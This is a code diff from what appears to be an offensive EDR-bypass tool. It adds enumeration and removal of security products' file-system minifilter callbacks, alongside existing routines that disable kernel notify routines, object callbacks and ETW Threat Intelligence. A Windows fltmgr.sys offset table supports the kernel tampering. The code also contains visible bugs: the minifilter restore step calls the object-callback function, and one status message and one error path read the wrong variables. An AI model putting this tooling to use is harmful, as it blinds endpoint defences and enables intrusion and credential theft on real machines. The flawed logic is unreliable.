// TODO : make this conditionnal, just as kernel callbacks restoring ? // TODO : make this conditionnal, just as kernel callbacks restoring ?
if (ETWTIState) { if (ETWTIState) {
+29 -6
View File
@@ -6,8 +6,10 @@
#include "ETWThreatIntel.h" #include "ETWThreatIntel.h"
#include "FileUtils.h" #include "FileUtils.h"
#include "Firewalling.h" #include "Firewalling.h"
#include "FltmgrOffsets.h"
#include "KernelCallbacks.h" #include "KernelCallbacks.h"
#include "KernelMemoryPrimitives.h" #include "KernelMemoryPrimitives.h"
#include "MinifilterCallbacks.h"
#include "PrintFunctions.h" #include "PrintFunctions.h"
#include "ProcessDump.h" #include "ProcessDump.h"
#include "ProcessDumpDirectSyscalls.h" #include "ProcessDumpDirectSyscalls.h"
@@ -221,7 +223,6 @@ EDRSB_STATUS _LoadWdigestOffsets(EDRSB_CONTEXT* ctx) {
EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) { EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) {
EDRSB_STATUS status; EDRSB_STATUS status;
BOOL driverInstallRequired = FALSE; BOOL driverInstallRequired = FALSE;
BOOL kernelOffsetsLoaded = FALSE;
ctx->config = config; ctx->config = config;
if (config->actions.ProtectProcess) { if (config->actions.ProtectProcess) {
@@ -232,11 +233,13 @@ EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) {
if (config->bypassMode.Krnlmode) { if (config->bypassMode.Krnlmode) {
status = _LoadNtosKrnlOffsets(ctx); status = _LoadNtosKrnlOffsets(ctx);
if (status != EDRSB_SUCCESS) { if (status != EDRSB_SUCCESS) {
_tprintf_or_not(TEXT("[-] Init failed: required offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status); _tprintf_or_not(TEXT("[-] Init failed: required ntoskrnl.exe offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
return status; return status;
} }
else { BOOL success = LoadFltmgrOffsets(ctx->config->fltmgrOffsetFilePath, ctx->config->offsetRetrievalMethod.Internet);
kernelOffsetsLoaded = TRUE; if (!success) {
_tprintf_or_not(TEXT("[-] Init failed: required fltmgr.sys offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
return status;
} }
driverInstallRequired = TRUE; driverInstallRequired = TRUE;
@@ -289,6 +292,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
BOOL isSafeToExecutePayload = TRUE; BOOL isSafeToExecutePayload = TRUE;
BOOL foundNotifyRoutineCallbacks; BOOL foundNotifyRoutineCallbacks;
BOOL foundObjectsCallbacks; BOOL foundObjectsCallbacks;
BOOL foundMinifilterCallbacks;
BOOL isETWTICurrentlyEnabled; BOOL isETWTICurrentlyEnabled;
BOOL verbose = ctx ? ctx->config->verbose : FALSE; BOOL verbose = ctx ? ctx->config->verbose : FALSE;
@@ -311,7 +315,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
ctx->foundNotifyRoutineCallbacks = TRUE; ctx->foundNotifyRoutineCallbacks = TRUE;
} }
if (ctx) { if (ctx) {
_tprintf_or_not(TEXT("[+] Object callbacks have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("NOT")); _tprintf_or_not(TEXT("[+] Kernel notify routines have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("not "));
_putts_or_not(TEXT("[+] Check if EDR callbacks are registered on processes and threads handle creation/duplication")); _putts_or_not(TEXT("[+] Check if EDR callbacks are registered on processes and threads handle creation/duplication"));
} }
@@ -321,6 +325,15 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
} }
if (ctx) { if (ctx) {
_tprintf_or_not(TEXT("[+] Enabled EDR object callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found")); _tprintf_or_not(TEXT("[+] Enabled EDR object callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found"));
_putts_or_not(TEXT("[+] Check if EDR minifilter callbacks are registered for monitoring disk operations"));
}
foundMinifilterCallbacks = EnumEDRMinifilterCallbacks(foundEDRDrivers, verbose);
if (ctx && foundMinifilterCallbacks) {
ctx->foundMinifilterCallbacks = TRUE;
}
if (ctx) {
_tprintf_or_not(TEXT("[+] EDR minifilter callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found"));
} }
if (ctx) { if (ctx) {
@@ -343,7 +356,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
ctx->krnlmodeMonitoringEnumDone = TRUE; ctx->krnlmodeMonitoringEnumDone = TRUE;
} }
if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || isETWTICurrentlyEnabled) { if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || foundMinifilterCallbacks || isETWTICurrentlyEnabled) {
status = EDRSB_KNRL_MONITORING; status = EDRSB_KNRL_MONITORING;
} }
else { else {
@@ -380,6 +393,11 @@ EDRSB_STATUS Krnlmode_RemoveAllMonitoring(_In_ EDRSB_CONTEXT* ctx) {
DisableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers); DisableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
} }
if (ctx->foundMinifilterCallbacks) {
_putts_or_not(TEXT("[+] Disabling minifilter callbacks registered by EDR to monitor I/O operations..."));
RemoveEDRMinifilterCallbacks(ctx->foundEDRDrivers);
}
if (ctx->isETWTICurrentlyEnabled) { if (ctx->isETWTICurrentlyEnabled) {
DisableETWThreatIntelProvider(ctx->config->verbose); DisableETWThreatIntelProvider(ctx->config->verbose);
ctx->isETWTICurrentlyEnabled = FALSE; ctx->isETWTICurrentlyEnabled = FALSE;
@@ -405,6 +423,11 @@ EDRSB_STATUS Krnlmode_RestoreAllMonitoring(_In_ EDRSB_CONTEXT* ctx) {
EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers); EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
} }
if (!ctx->config->actions.DontRestoreCallBacks && ctx->foundMinifilterCallbacks) {
_putts_or_not(TEXT("[+] Restoring EDR's minifilter callbacks..."));
EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
}
// Renable the ETW Threat Intel provider. // Renable the ETW Threat Intel provider.
if (!ctx->config->actions.DontRestoreETWTI && ctx->isETWTISystemEnabled) { if (!ctx->config->actions.DontRestoreETWTI && ctx->isETWTISystemEnabled) {
EnableETWThreatIntelProvider(ctx->config->verbose); EnableETWThreatIntelProvider(ctx->config->verbose);
@@ -17,6 +17,7 @@ typedef struct EDRSB_CONTEXT_t {
BOOL krnlmodeMonitoringEnumDone; BOOL krnlmodeMonitoringEnumDone;
BOOL foundNotifyRoutineCallbacks; BOOL foundNotifyRoutineCallbacks;
BOOL foundObjectCallbacks; BOOL foundObjectCallbacks;
BOOL foundMinifilterCallbacks;
struct FOUND_EDR_CALLBACKS* foundEDRDrivers; struct FOUND_EDR_CALLBACKS* foundEDRDrivers;
BOOL isETWTISystemEnabled; BOOL isETWTISystemEnabled;
BOOL isETWTICurrentlyEnabled; BOOL isETWTICurrentlyEnabled;
@@ -112,6 +113,12 @@ typedef struct EDRSB_CONFIG_t {
*/ */
LPWSTR kernelOffsetFilePath; //TODO : unifier les offsets dans un seul fichier (un json ?) pour viter de demander l'utilisateur de passer plusieurs fichiers LPWSTR kernelOffsetFilePath; //TODO : unifier les offsets dans un seul fichier (un json ?) pour viter de demander l'utilisateur de passer plusieurs fichiers
/*
* Path of the CSV file that contains the needed offsets for minifilter enum and bypass
* If NULL, tries to load FltmgrOffsets.csv
* If empty string, disable FltmgrOffsets.csv loading (relies on symbol download every time)
*/
LPWSTR fltmgrOffsetFilePath;
/* /*
* Path of the CSV file that contains the needed offsets for credential guard related operations * Path of the CSV file that contains the needed offsets for credential guard related operations
* If NULL, tries to load WdigestOffsets.csv * If NULL, tries to load WdigestOffsets.csv
+14 -1
View File
@@ -17,7 +17,7 @@ THREADS_LIMIT = None
CSVLock = threading.Lock() CSVLock = threading.Lock()
machineType = dict(x86=332, x64=34404) machineType = dict(x86=332, x64=34404)
supported_images = ["ntoskrnl.exe", "wdigest.dll", "ci.dll"] supported_images = ["ntoskrnl.exe", "wdigest.dll", "ci.dll", "fltmgr.sys"]
modes = [image_name.split(".")[0] for image_name in supported_images] modes = [image_name.split(".")[0] for image_name in supported_images]
extensions_by_mode = dict(image_name.split(".") for image_name in supported_images) extensions_by_mode = dict(image_name.split(".") for image_name in supported_images)
known_image_versions = {mode: list() for mode in modes} known_image_versions = {mode: list() for mode in modes}
@@ -46,6 +46,19 @@ symbols = dict(
("g_CiOptions", "symbol"), ("g_CiOptions", "symbol"),
("CiValidateImageHeader", "symbol"), ("CiValidateImageHeader", "symbol"),
], ],
fltmgr=[
("FltGlobals", "symbol"),
("_GLOBALS", "FrameList", "field"),
("_FLT_RESOURCE_LIST_HEAD", "rList", "field"),
("_FLTP_FRAME", "Links", "field"),
("_FLTP_FRAME", "RegisteredFilters", "field"),
("_FLT_OBJECT", "PrimaryLink", "field"),
("_FLT_FILTER", "DriverObject", "field"),
("_FLT_FILTER", "InstanceList", "field"),
("_DRIVER_OBJECT", "DriverInit", "field"),
("_FLT_INSTANCE", "CallbackNodes", "field"),
("_FLT_INSTANCE", "FilterLink", "field"),
],
) )
symbols_names = {mode: [t[0] if t[-1] == "symbol" else f"{t[0]}_{t[1]}" for t in symbols[mode]] for mode in modes} symbols_names = {mode: [t[0] if t[-1] == "symbol" else f"{t[0]}_{t[1]}" for t in symbols[mode]] for mode in modes}
+90
View File
@@ -0,0 +1,90 @@
fltmgrVersion,FltGlobals,_GLOBALS_FrameList,_FLT_RESOURCE_LIST_HEAD_rList,_FLTP_FRAME_Links,_FLTP_FRAME_RegisteredFilters,_FLT_OBJECT_PrimaryLink,_FLT_FILTER_DriverObject,_FLT_FILTER_InstanceList,_DRIVER_OBJECT_DriverInit,_FLT_INSTANCE_CallbackNodes,_FLT_INSTANCE_FilterLink
fltmgr_10240-16384.sys,254c0,58,68,8,48,10,60,68,58,a0,70
fltmgr_10240-18967.sys,254c0,58,68,8,48,10,60,68,58,a0,70
fltmgr_10240-19983.sys,254c0,58,68,8,48,10,60,68,58,a0,70
fltmgr_10586-0.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-0.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-2879.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-3297.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-3659.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-4467.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-4583.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-4946.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-5127.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-5192.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_15063-0.sys,27500,58,68,8,48,10,60,68,58,a0,70
fltmgr_15063-413.sys,27500,58,68,8,48,10,60,68,58,a0,70
fltmgr_15063-850.sys,27500,58,68,8,48,10,60,68,58,a0,70
fltmgr_15063-2161.sys,27500,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-15.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-98.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-99.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-192.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-371.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-402.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-1480.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-1868.sys,27540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-2401.sys,27540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-10000.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17134-1.sys,29540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17134-228.sys,29540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17134-1098.sys,29540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17134-1365.sys,29540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17134-1456.sys,29540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-1.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-379.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-592.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-831.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-1999.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-2028.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-2061.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-2090.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-2510.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-4492.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-4644.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-4720.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-5122.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-10576.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_18362-1.sys,2a580,58,68,8,48,10,60,68,58,a0,70
fltmgr_18362-267.sys,2a580,58,68,8,48,10,60,68,58,a0,70
fltmgr_18362-1110.sys,2a580,58,68,8,48,10,60,68,58,a0,70
fltmgr_18362-1216.sys,2a580,58,68,8,48,10,60,68,58,a0,70
fltmgr_18362-1645.sys,2a580,58,68,8,48,10,60,68,58,a0,70
fltmgr_18362-1714.sys,2a580,58,68,8,48,10,60,68,58,a0,70
fltmgr_18362-2337.sys,2a580,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-264.sys,2b600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-1151.sys,2b600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-1165.sys,2b600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-1503.sys,2a600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-1526.sys,2a600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-1682.sys,2b600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-1767.sys,2b600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-1806.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-2728.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-2788.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-3086.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-3205.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-3570.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-3636.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-3684.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_21390-1.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-1.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-469.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-527.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-778.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-1098.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-1165.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-1219.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-1281.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-1696.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-1761.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-2124.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-2592.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-2600.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22621-4.sys,2c700,58,68,8,48,10,60,68,58,a8,70
fltmgr_22621-608.sys,2c700,58,68,8,48,10,60,68,58,a8,70
fltmgr_22621-1690.sys,2c700,58,68,8,48,10,60,68,58,a8,70
fltmgr_22621-2361.sys,2e700,58,68,8,48,10,60,68,58,a8,70
fltmgr_22621-2415.sys,2e700,58,68,8,48,10,60,68,58,a8,70
fltmgr_22621-2506.sys,2e700,58,68,8,48,10,60,68,58,a8,70
fltmgr_22621-2771.sys,2e700,58,68,8,48,10,60,68,58,a8,70
1 fltmgrVersion FltGlobals _GLOBALS_FrameList _FLT_RESOURCE_LIST_HEAD_rList _FLTP_FRAME_Links _FLTP_FRAME_RegisteredFilters _FLT_OBJECT_PrimaryLink _FLT_FILTER_DriverObject _FLT_FILTER_InstanceList _DRIVER_OBJECT_DriverInit _FLT_INSTANCE_CallbackNodes _FLT_INSTANCE_FilterLink
2 fltmgr_10240-16384.sys 254c0 58 68 8 48 10 60 68 58 a0 70
3 fltmgr_10240-18967.sys 254c0 58 68 8 48 10 60 68 58 a0 70
4 fltmgr_10240-19983.sys 254c0 58 68 8 48 10 60 68 58 a0 70
5 fltmgr_10586-0.sys 25500 58 68 8 48 10 60 68 58 a0 70
6 fltmgr_14393-0.sys 25500 58 68 8 48 10 60 68 58 a0 70
7 fltmgr_14393-2879.sys 25500 58 68 8 48 10 60 68 58 a0 70
8 fltmgr_14393-3297.sys 25500 58 68 8 48 10 60 68 58 a0 70
9 fltmgr_14393-3659.sys 25500 58 68 8 48 10 60 68 58 a0 70
10 fltmgr_14393-4467.sys 25500 58 68 8 48 10 60 68 58 a0 70
11 fltmgr_14393-4583.sys 25500 58 68 8 48 10 60 68 58 a0 70
12 fltmgr_14393-4946.sys 25500 58 68 8 48 10 60 68 58 a0 70
13 fltmgr_14393-5127.sys 25500 58 68 8 48 10 60 68 58 a0 70
14 fltmgr_14393-5192.sys 25500 58 68 8 48 10 60 68 58 a0 70
15 fltmgr_15063-0.sys 27500 58 68 8 48 10 60 68 58 a0 70
16 fltmgr_15063-413.sys 27500 58 68 8 48 10 60 68 58 a0 70
17 fltmgr_15063-850.sys 27500 58 68 8 48 10 60 68 58 a0 70
18 fltmgr_15063-2161.sys 27500 58 68 8 48 10 60 68 58 a0 70
19 fltmgr_16299-15.sys 28540 58 68 8 48 10 60 68 58 a0 70
20 fltmgr_16299-98.sys 28540 58 68 8 48 10 60 68 58 a0 70
21 fltmgr_16299-99.sys 28540 58 68 8 48 10 60 68 58 a0 70
22 fltmgr_16299-192.sys 28540 58 68 8 48 10 60 68 58 a0 70
23 fltmgr_16299-371.sys 28540 58 68 8 48 10 60 68 58 a0 70
24 fltmgr_16299-402.sys 28540 58 68 8 48 10 60 68 58 a0 70
25 fltmgr_16299-1480.sys 28540 58 68 8 48 10 60 68 58 a0 70
26 fltmgr_16299-1868.sys 27540 58 68 8 48 10 60 68 58 a0 70
27 fltmgr_16299-2401.sys 27540 58 68 8 48 10 60 68 58 a0 70
28 fltmgr_16299-10000.sys 28540 58 68 8 48 10 60 68 58 a0 70
29 fltmgr_17134-1.sys 29540 58 68 8 48 10 60 68 58 a0 70
30 fltmgr_17134-228.sys 29540 58 68 8 48 10 60 68 58 a0 70
31 fltmgr_17134-1098.sys 29540 58 68 8 48 10 60 68 58 a0 70
32 fltmgr_17134-1365.sys 29540 58 68 8 48 10 60 68 58 a0 70
33 fltmgr_17134-1456.sys 29540 58 68 8 48 10 60 68 58 a0 70
34 fltmgr_17763-1.sys 2a540 58 68 8 48 10 60 68 58 a0 70
35 fltmgr_17763-379.sys 2a540 58 68 8 48 10 60 68 58 a0 70
36 fltmgr_17763-592.sys 2a540 58 68 8 48 10 60 68 58 a0 70
37 fltmgr_17763-831.sys 2a540 58 68 8 48 10 60 68 58 a0 70
38 fltmgr_17763-1999.sys 2a540 58 68 8 48 10 60 68 58 a0 70
39 fltmgr_17763-2028.sys 2a540 58 68 8 48 10 60 68 58 a0 70
40 fltmgr_17763-2061.sys 2a540 58 68 8 48 10 60 68 58 a0 70
41 fltmgr_17763-2090.sys 2a540 58 68 8 48 10 60 68 58 a0 70
42 fltmgr_17763-2510.sys 2a540 58 68 8 48 10 60 68 58 a0 70
43 fltmgr_17763-4492.sys 2a540 58 68 8 48 10 60 68 58 a0 70
44 fltmgr_17763-4644.sys 2a540 58 68 8 48 10 60 68 58 a0 70
45 fltmgr_17763-4720.sys 2a540 58 68 8 48 10 60 68 58 a0 70
46 fltmgr_17763-5122.sys 2a540 58 68 8 48 10 60 68 58 a0 70
47 fltmgr_17763-10576.sys 2a540 58 68 8 48 10 60 68 58 a0 70
48 fltmgr_18362-1.sys 2a580 58 68 8 48 10 60 68 58 a0 70
49 fltmgr_18362-267.sys 2a580 58 68 8 48 10 60 68 58 a0 70
50 fltmgr_18362-1110.sys 2a580 58 68 8 48 10 60 68 58 a0 70
51 fltmgr_18362-1216.sys 2a580 58 68 8 48 10 60 68 58 a0 70
52 fltmgr_18362-1645.sys 2a580 58 68 8 48 10 60 68 58 a0 70
53 fltmgr_18362-1714.sys 2a580 58 68 8 48 10 60 68 58 a0 70
54 fltmgr_18362-2337.sys 2a580 58 68 8 48 10 60 68 58 a0 70
55 fltmgr_19041-264.sys 2b600 58 68 8 48 10 60 68 58 a0 70
56 fltmgr_19041-1151.sys 2b600 58 68 8 48 10 60 68 58 a0 70
57 fltmgr_19041-1165.sys 2b600 58 68 8 48 10 60 68 58 a0 70
58 fltmgr_19041-1503.sys 2a600 58 68 8 48 10 60 68 58 a0 70
59 fltmgr_19041-1526.sys 2a600 58 68 8 48 10 60 68 58 a0 70
60 fltmgr_19041-1682.sys 2b600 58 68 8 48 10 60 68 58 a0 70
61 fltmgr_19041-1767.sys 2b600 58 68 8 48 10 60 68 58 a0 70
62 fltmgr_19041-1806.sys 29600 58 68 8 48 10 60 68 58 a0 70
63 fltmgr_19041-2728.sys 29600 58 68 8 48 10 60 68 58 a0 70
64 fltmgr_19041-2788.sys 29600 58 68 8 48 10 60 68 58 a0 70
65 fltmgr_19041-3086.sys 29600 58 68 8 48 10 60 68 58 a0 70
66 fltmgr_19041-3205.sys 29600 58 68 8 48 10 60 68 58 a0 70
67 fltmgr_19041-3570.sys 29600 58 68 8 48 10 60 68 58 a0 70
68 fltmgr_19041-3636.sys 29600 58 68 8 48 10 60 68 58 a0 70
69 fltmgr_19041-3684.sys 29600 58 68 8 48 10 60 68 58 a0 70
70 fltmgr_21390-1.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
71 fltmgr_22000-1.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
72 fltmgr_22000-469.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
73 fltmgr_22000-527.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
74 fltmgr_22000-778.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
75 fltmgr_22000-1098.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
76 fltmgr_22000-1165.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
77 fltmgr_22000-1219.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
78 fltmgr_22000-1281.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
79 fltmgr_22000-1696.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
80 fltmgr_22000-1761.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
81 fltmgr_22000-2124.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
82 fltmgr_22000-2592.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
83 fltmgr_22000-2600.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
84 fltmgr_22621-4.sys 2c700 58 68 8 48 10 60 68 58 a8 70
85 fltmgr_22621-608.sys 2c700 58 68 8 48 10 60 68 58 a8 70
86 fltmgr_22621-1690.sys 2c700 58 68 8 48 10 60 68 58 a8 70
87 fltmgr_22621-2361.sys 2e700 58 68 8 48 10 60 68 58 a8 70
88 fltmgr_22621-2415.sys 2e700 58 68 8 48 10 60 68 58 a8 70
89 fltmgr_22621-2506.sys 2e700 58 68 8 48 10 60 68 58 a8 70
90 fltmgr_22621-2771.sys 2e700 58 68 8 48 10 60 68 58 a8 70